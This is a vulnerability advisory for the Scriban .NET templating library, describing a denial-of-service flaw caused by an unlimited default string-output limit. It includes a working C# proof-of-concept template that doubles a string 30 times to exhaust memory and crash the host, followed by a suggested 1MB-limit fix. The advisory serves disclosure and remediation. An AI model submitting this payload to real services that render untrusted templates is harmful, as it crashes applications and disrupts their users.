PT-2026-28764 · Nuget · Scriban

Published

2026-03-19

·

Updated

2026-03-19

CVSS v3.1

5.3

Medium

VectorAV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
TemplateContext.LimitToString defaults to 0 (unlimited). While Scriban implements a default LoopLimit of 1000, an attacker can still cause massive memory allocation via exponential string growth. Doubling a string for just 30 iterations generates over 1GB of text, instantly exhausting heap memory and crashing the host process. Because no output size limit is enforced, repeated string concatenation results in exponential memory growth.
Proof of Concept (PoC): The following payload executes in under 30 iterations but results in ~1GB string allocation, crashing the process.
csharp
using Scriban;

string maliciousTemplate =
  @"
    {{
      a = ""A""
      for i in 1..30
        a = a + a
      end
      a
    }}";

var template = Template.Parse(maliciousTemplate);

var context = new TemplateContext();

try
{
  template.Render(context);
}
catch (Exception ex)
{
  Console.WriteLine("
Exception: " + ex.Message);
}
Impact: An attacker can supply a small template that triggers exponential string growth, forcing the application to allocate excessive memory. This leads to severe memory pressure, garbage collection thrashing, and eventual process termination (DoS).
Suggested Fix: Enforce a sensible default limit for string output. Set default LimitToString to 1MB (1,048,576 characters).
csharp
public int LimitToString { get; set; } = 1048576;

Fix

Allocation of Resources Without Limits

Found an issue in the description? Have something to add? Feel free to write us 👾
dbugs@ptsecurity.com

Weakness Enumeration

CWE-770

Related Identifiers

GHSA-5RPF-X9JG-8J5P

Affected Products

Scriban